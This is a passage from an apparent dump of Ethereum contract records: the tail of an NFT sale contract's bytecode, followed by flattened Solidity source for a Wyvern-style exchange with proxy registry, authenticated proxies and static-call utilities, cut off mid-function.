1a4602e83613994565b91506131af82613d25565b604082019050919050565b60006131c7603283613994565b91506131d282613d74565b604082019050919050565b60006131ea602683613994565b91506131f582613dc3565b604082019050919050565b600061320d601c83613994565b915061321882613e12565b602082019050919050565b6000613230602483613994565b915061323b82613e3b565b604082019050919050565b6000613253601783613994565b915061325e82613e8a565b602082019050919050565b6000613276602483613994565b915061328182613eb3565b604082019050919050565b6000613299601983613994565b91506132a482613f02565b602082019050919050565b60006132bc602c83613994565b91506132c782613f2b565b604082019050919050565b60006132df601b83613994565b91506132ea82613f7a565b602082019050919050565b6000613302603883613994565b915061330d82613fa3565b604082019050919050565b6000613325602a83613994565b915061333082613ff2565b604082019050919050565b6000613348602983613994565b915061335382614041565b604082019050919050565b600061336b602083613994565b915061337682614090565b602082019050919050565b600061338e602c83613994565b9150613399826140b9565b604082019050919050565b60006133b1602083613994565b91506133bc82614108565b602082019050919050565b60006133d4602983613994565b91506133df82614131565b604082019050919050565b60006133f7602f83613994565b915061340282614180565b604082019050919050565b600061341a601383613994565b9150613425826141cf565b602082019050919050565b600061343d602183613994565b9150613448826141f8565b604082019050919050565b6000613460600083613989565b915061346b82614247565b600082019050919050565b6000613483603183613994565b915061348e8261424a565b604082019050919050565b60006134a6601583613994565b91506134b182614299565b602082019050919050565b60006134c9601083613994565b91506134d4826142c2565b602082019050919050565b6134e881613b2f565b82525050565b60006134fa8285613118565b915061350682846130e7565b91508190509392505050565b600061351d82613453565b9150819050919050565b600060208201905061353c6000830184613057565b92915050565b60006080820190506135576000830187613057565b6135646020830186613057565b61357160408301856134df565b81810360608301526135838184613075565b905095945050505050565b60006020820190506135a36000830184613066565b92915050565b600060208201905081810360008301526135c381846130ae565b905092915050565b600060208201905081810360008301526135e481613197565b9050919050565b60006020820190508181036000830152613604816131ba565b9050919050565b60006020820190508181036000830152613624816131dd565b9050919050565b6000602082019050818103600083015261364481613200565b9050919050565b6000602082019050818103600083015261366481613223565b9050919050565b6000602082019050818103600083015261368481613246565b9050919050565b600060208201905081810360008301526136a481613269565b9050919050565b600060208201905081810360008301526136c48161328c565b9050919050565b600060208201905081810360008301526136e4816132af565b9050919050565b60006020820190508181036000830152613704816132d2565b9050919050565b60006020820190508181036000830152613724816132f5565b9050919050565b6000602082019050818103600083015261374481613318565b9050919050565b600060208201905081810360008301526137648161333b565b9050919050565b600060208201905081810360008301526137848161335e565b9050919050565b600060208201905081810360008301526137a481613381565b9050919050565b600060208201905081810360008301526137c4816133a4565b9050919050565b600060208201905081810360008301526137e4816133c7565b9050919050565b60006020820190508181036000830152613804816133ea565b9050919050565b600060208201905081810360008301526138248161340d565b9050919050565b6000602082019050818103600083015261384481613430565b9050919050565b6000602082019050818103600083015261386481613476565b9050919050565b6000602082019050818103600083015261388481613499565b9050919050565b600060208201905081810360008301526138a4816134bc565b9050919050565b60006020820190506138c060008301846134df565b92915050565b60006138d06138e1565b90506138dc8282613bad565b919050565b6000604051905090565b600067ffffffffffffffff82111561390657613905613ce5565b5b61390f82613d14565b9050602081019050919050565b600067ffffffffffffffff82111561393757613936613ce5565b5b61394082613d14565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006139bb82613b2f565b91506139c683613b2f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139fb576139fa613c58565b5b828201905092915050565b6000613a1182613b2f565b9150613a1c83613b2f565b925082613a2c57613a2b613c87565b5b828204905092915050565b6000613a4282613b2f565b9150613a4d83613b2f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a8657613a85613c58565b5b828202905092915050565b6000613a9c82613b2f565b9150613aa783613b2f565b925082821015613aba57613ab9613c58565b5b828203905092915050565b6000613ad082613b0f565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613b66578082015181840152602081019050613b4b565b83811115613b75576000848401525b50505050565b60006002820490506001821680613b9357607f821691505b60208210811415613ba757613ba6613cb6565b5b50919050565b613bb682613d14565b810181811067ffffffffffffffff82111715613bd557613bd4613ce5565b5b80604052505050565b6000613be982613b2f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c1c57613c1b613c58565b5b600182019050919050565b6000613c3282613b2f565b9150613c3d83613b2f565b925082613c4d57613c4c613c87565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f56616c75652073686f756c642062652067726561746572207468616e2063757260008201527f72656e746c79206d696e7465642e000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f546f6f206d616e7920746f6b656e7320666f72206f6e65207472616e7361637460008201527f696f6e2e00000000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f75676820746f6b656e73206c6566742e000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4e6f2066756e647320696e20736d61727420436f6e74726163742e0000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f53616c65206973206e6f74206163746976652e00000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e73756666696369656e74207061796d656e742e0000000000000000000000600082015250565b7f5769746864726177204661696c65642e00000000000000000000000000000000600082015250565b6142f481613ac5565b81146142ff57600080fd5b50565b61430b81613ad7565b811461431657600080fd5b50565b61432281613ae3565b811461432d57600080fd5b50565b61433981613b2f565b811461434457600080fd5b5056fea264697066735822122003633f2b26ca8e30231299b6daf8234913f64f930ec375fd6d6a2c1a0cdda43d64736f6c63430008040033
[ 6, 5 ]
0xf1d1428fca17ef3a9ff8b0e4e980c83b91459ca7
// File: localhost/SetExchange/common/StaticCaller.sol pragma solidity ^0.8.3; /** * @title StaticCaller * @author Wyvern Protocol Developers */ contract StaticCaller { function staticCall(address target, bytes memory data) internal view returns (bool result) { assembly { result := staticcall(gas(), target, add(data, 0x20), mload(data), mload(0x40), 0) } return result; } function staticCallUint(address target, bytes memory data) internal view returns (uint ret) { bool result; assembly { let size := 0x20 let free := mload(0x40) result := staticcall(gas(), target, add(data, 0x20), mload(data), free, size) ret := mload(free) } require(result, "Static call failed"); return ret; } } // File: localhost/SetExchange/@openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: localhost/SetExchange/common/TokenRecipient.sol pragma solidity ^0.8.3; contract TokenRecipient{ event ReceivedEther(address indexed sender, uint amount); event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData); function receiveApproval(address from, uint256 value, address token, bytes memory extraData) public { IERC20 t = IERC20(token); require(t.transferFrom(from, address(this), value), "ERC20 token transfer failed"); emit ReceivedTokens(from, value, token, extraData); } fallback () payable external { emit ReceivedEther(msg.sender, msg.value); } receive () payable external { emit ReceivedEther(msg.sender, msg.value); } } // File: localhost/SetExchange/registry/proxy/OwnedUpgradeabilityStorage.sol pragma solidity ^0.8.3; contract OwnedUpgradeabilityStorage { address internal _implementation; address private _upgradeabilityOwner; function upgradeabilityOwner() public view returns (address) { return _upgradeabilityOwner; } function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal { _upgradeabilityOwner = newUpgradeabilityOwner; } } // File: localhost/SetExchange/registry/proxy/Proxy.sol pragma solidity ^0.8.3; abstract contract Proxy { function implementation() virtual public view returns (address); function proxyType() virtual public pure returns (uint256 proxyTypeId); function _fallback() private{ address _impl = implementation(); require(_impl != address(0), "Proxy implementation required"); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } fallback () payable external{ _fallback(); } receive() payable external{ _fallback(); } } // File: localhost/SetExchange/registry/proxy/OwnedUpgradeabilityProxy.sol pragma solidity ^0.8.3; contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage { event ProxyOwnershipTransferred(address previousOwner, address newOwner); event Upgraded(address indexed implementation); function implementation() override public view returns (address) { return _implementation; } function proxyType() override public pure returns (uint256 proxyTypeId) { return 2; } function _upgradeTo(address implem) internal { require(_implementation != implem, "Proxy already uses this implementation"); _implementation = implem; emit Upgraded(implem); } modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "Only the proxy owner can call this method"); _; } function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0), "New owner cannot be the null address"); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } //重点是下面的 function upgradeTo(address implem) public onlyProxyOwner { _upgradeTo(implem); } function upgradeToAndCall(address implem, bytes memory data) payable public onlyProxyOwner { upgradeTo(implem); (bool success,) = address(this).delegatecall(data); require(success, "Call failed after proxy upgrade"); } } // File: localhost/SetExchange/registry/OwnableDelegateProxy.sol pragma solidity ^0.8.3; contract OwnableDelegateProxy is OwnedUpgradeabilityProxy { constructor(address owner, address initialImplementation, bytes memory data) { setUpgradeabilityOwner(owner); _upgradeTo(initialImplementation); (bool success,) = initialImplementation.delegatecall(data); require(success, "OwnableDelegateProxy failed implementation"); } } // File: localhost/SetExchange/registry/ProxyRegistryInterface.sol pragma solidity ^0.8.3; interface ProxyRegistryInterface { function delegateProxyImplementation() external returns (address); function proxies(address owner) external returns (OwnableDelegateProxy); } // File: localhost/SetExchange/@openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: localhost/SetExchange/@openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: localhost/SetExchange/registry/ProxyRegistry.sol pragma solidity ^0.8.3; contract ProxyRegistry is Ownable, ProxyRegistryInterface { address public override delegateProxyImplementation; mapping(address => OwnableDelegateProxy) public override proxies; //Contracts pending access. mapping(address => uint) public pending; //Contracts allowed to call those proxies. mapping(address => bool) public contracts; uint public DELAY_PERIOD = 2 weeks; function startGrantAuthentication (address addr) public onlyOwner{ require(!contracts[addr] && pending[addr] == 0, "Contract is already allowed in registry, or pending"); pending[addr] = block.timestamp; } function endGrantAuthentication (address addr) public onlyOwner{ require(!contracts[addr] && pending[addr] != 0 && ((pending[addr] + DELAY_PERIOD) < block.timestamp), "Contract is no longer pending or has already been approved by registry"); pending[addr] = 0; contracts[addr] = true; } function revokeAuthentication (address addr) public onlyOwner{ contracts[addr] = false; } function grantAuthentication (address addr) public onlyOwner{ contracts[addr] = true; } function registerProxyOverride() public returns (OwnableDelegateProxy proxy){ proxy = new OwnableDelegateProxy(msg.sender, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", msg.sender, address(this))); proxies[msg.sender] = proxy; return proxy; } function registerProxyFor(address user) public returns (OwnableDelegateProxy proxy){ require(address(proxies[user]) == address(0), "User already has a proxy"); proxy = new OwnableDelegateProxy(user, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", user, address(this))); proxies[user] = proxy; return proxy; } function registerProxy() public returns (OwnableDelegateProxy proxy){ return registerProxyFor(msg.sender); } function transferAccessTo(address from, address to) public{ OwnableDelegateProxy proxy = proxies[from]; /* CHECKS */ require(msg.sender == from, "Proxy transfer can only be called by the proxy"); require(address(proxies[to]) == address(0), "Proxy transfer has existing proxy as destination"); /* EFFECTS */ delete proxies[from]; proxies[to] = proxy; } } // File: localhost/SetExchange/registry/AuthenticatedProxy.sol pragma solidity ^0.8.3; contract AuthenticatedProxy is TokenRecipient, OwnedUpgradeabilityStorage { bool initialized = false; address public user; ProxyRegistry public registry; bool public revoked; enum HowToCall { Call, DelegateCall } event Revoked(bool revoked); function initialize (address addrUser, ProxyRegistry addrRegistry) public { require(!initialized, "Authenticated proxy already initialized"); initialized = true; user = addrUser; registry = addrRegistry; } //Set the revoked flag (allows a user to revoke ProxyRegistry access) function setRevoke(bool revoke) public{ require(msg.sender == user, "Authenticated proxy can only be revoked by its user"); revoked = revoke; emit Revoked(revoke); } //Execute a message call from the proxy contract function proxy(address dest, HowToCall howToCall, bytes memory data) public returns (bool result){ require(msg.sender == user || (!revoked && registry.contracts(msg.sender)), "Authenticated proxy can only be called by its user, or by a contract authorized by the registry as long as the user has not revoked access"); bytes memory ret; if (howToCall == HowToCall.Call) { (result, ret) = dest.call(data); } else if (howToCall == HowToCall.DelegateCall) { (result, ret) = dest.delegatecall(data); } return result; } //Execute a message call and assert success function proxyAssert(address dest, HowToCall howToCall, bytes memory data) public{ require(proxy(dest, howToCall, data), "Proxy assertion failed"); } } // File: localhost/SetExchange/@openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: localhost/SetExchange/common/ArrayUtils.sol pragma solidity ^0.8.3; library ArrayUtils { function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask) internal pure{ require(array.length == desired.length, "Arrays have different lengths"); require(array.length == mask.length, "Array and mask have different lengths"); uint words = array.length / 0x20; uint index = words * 0x20; assert(index / 0x20 == words); uint i; for (i = 0; i < words; i++) { /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */ assembly { let commonIndex := mul(0x20, add(1, i)) let maskValue := mload(add(mask, commonIndex)) mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))) } } /* Deal with the last section of the byte array. */ if (words > 0) { /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */ i = words; assembly { let commonIndex := mul(0x20, add(1, i)) let maskValue := mload(add(mask, commonIndex)) mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))) } } else { /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise. (bounds checks could still probably be optimized away in assembly, but this is a rare case) */ for (i = index; i < array.length; i++) { array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]); } } } function arrayEq(bytes memory a, bytes memory b) internal pure returns (bool){ bool success = true; assembly { let length := mload(a) // if lengths don't match the arrays are not equal switch eq(length, mload(b)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(a, 0x20) let end := add(mc, length) for { let cc := add(b, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function arrayDrop(bytes memory _bytes, uint _start) internal pure returns (bytes memory){ uint _length = SafeMath.sub(_bytes.length, _start); return arraySlice(_bytes, _start, _length); } function arrayTake(bytes memory _bytes, uint _length) internal pure returns (bytes memory){ return arraySlice(_bytes, 0, _length); } function arraySlice(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory){ bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function unsafeWriteBytes(uint index, bytes memory source) internal pure returns (uint){ if (source.length > 0) { assembly { let length := mload(source) let end := add(source, add(0x20, length)) let arrIndex := add(source, 0x20) let tempIndex := index for { } eq(lt(arrIndex, end), 1) { arrIndex := add(arrIndex, 0x20) tempIndex := add(tempIndex, 0x20) } { mstore(tempIndex, mload(arrIndex)) } index := add(index, length) } } return index; } function unsafeWriteAddress(uint index, address source) internal pure returns (uint){ uint conv = uint(uint160(source)) << 0x60; assembly { mstore(index, conv) index := add(index, 0x14) } return index; } function unsafeWriteUint(uint index, uint source) internal pure returns (uint){ assembly { mstore(index, source) index := add(index, 0x20) } return index; } function unsafeWriteUint8(uint index, uint8 source) internal pure returns (uint){ assembly { mstore8(index, source) index := add(index, 0x1) } return index; } } // File: localhost/SetExchange/static/StaticUtil.sol pragma solidity ^0.8.3; contract StaticUtil is StaticCaller { address public atomicizer; function any(bytes memory, address[7] memory, AuthenticatedProxy.HowToCall[2] memory, uint[6] memory, bytes memory, bytes memory) public pure returns (uint) { /* Accept any call. Useful e.g. for matching-by-transaction, where you authorize the counter-call by sending the transaction and don't need to re-check it. Return fill "1". */ return 1; } function anySingle(bytes memory, address[7] memory, AuthenticatedProxy.HowToCall, uint[6] memory, bytes memory) public pure { /* No checks. */ } function anyNoFill(bytes memory, address[7] memory, AuthenticatedProxy.HowToCall[2] memory, uint[6] memory, bytes memory, bytes memory) public pure returns (uint) { /* Accept any call. Useful e.g. for matching-by-transaction, where you authorize the counter-call by sending the transaction and don't need to re-check it. Return fill "0". */ return 0; } function anyAddOne(bytes memory, address[7] memory, AuthenticatedProxy.HowToCall[2] memory, uint[6] memory uints, bytes memory, bytes memory) public pure returns (uint) { /* Accept any call. Useful e.g. for matching-by-transaction, where you authorize the counter-call by sending the transaction and don't need to re-check it. Return the current fill plus 1. */ return uints[5] + 1; } function split(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public view returns (uint) { (address[2] memory targets, bytes4[2] memory selectors, bytes memory firstExtradata, bytes memory secondExtradata) = abi.decode(extra, (address[2], bytes4[2], bytes, bytes)); /* Split into two static calls: one for the call, one for the counter-call, both with metadata. */ /* Static call to check the call. */ require(staticCall(targets[0], abi.encodeWithSelector(selectors[0], firstExtradata, addresses, howToCalls[0], uints, data))); /* Static call to check the counter-call. */ require(staticCall(targets[1], abi.encodeWithSelector(selectors[1], secondExtradata, [addresses[3], addresses[4], addresses[5], addresses[0], addresses[1], addresses[2], addresses[6]], howToCalls[1], uints, counterdata))); return 1; } function splitAddOne(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public view returns (uint) { split(extra,addresses,howToCalls,uints,data,counterdata); return uints[5] + 1; } function and(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public view { (address[] memory addrs, bytes4[] memory selectors, uint[] memory extradataLengths, bytes memory extradatas) = abi.decode(extra, (address[], bytes4[], uint[], bytes)); require(addrs.length == extradataLengths.length); uint j = 0; for (uint i = 0; i < addrs.length; i++) { bytes memory extradata = new bytes(extradataLengths[i]); for (uint k = 0; k < extradataLengths[i]; k++) { extradata[k] = extradatas[j]; j++; } require(staticCall(addrs[i], abi.encodeWithSelector(selectors[i], extradata, addresses, howToCalls, uints, data, counterdata))); } } function or(bytes memory extra, address[7] memory addresses, AuthenticatedProxy.HowToCall[2] memory howToCalls, uint[6] memory uints, bytes memory data, bytes memory counterdata) public view { (address[] memory addrs, bytes4[] memory selectors, uint[] memory extradataLengths, bytes memory extradatas) = abi.decode(extra, (address[], bytes4[], uint[], bytes)); require(addrs.length == extradataLengths.length, "Different number of static call addresses and extradatas"); uint j = 0; for (uint i = 0; i < addrs.length; i++) { bytes memory extradata = new bytes(extradataLengths[i]); for (uint k = 0; k < extradataLengths[i]; k++) { extradata[k] = extradatas[j]; j++; } if (staticCall(addrs[i], 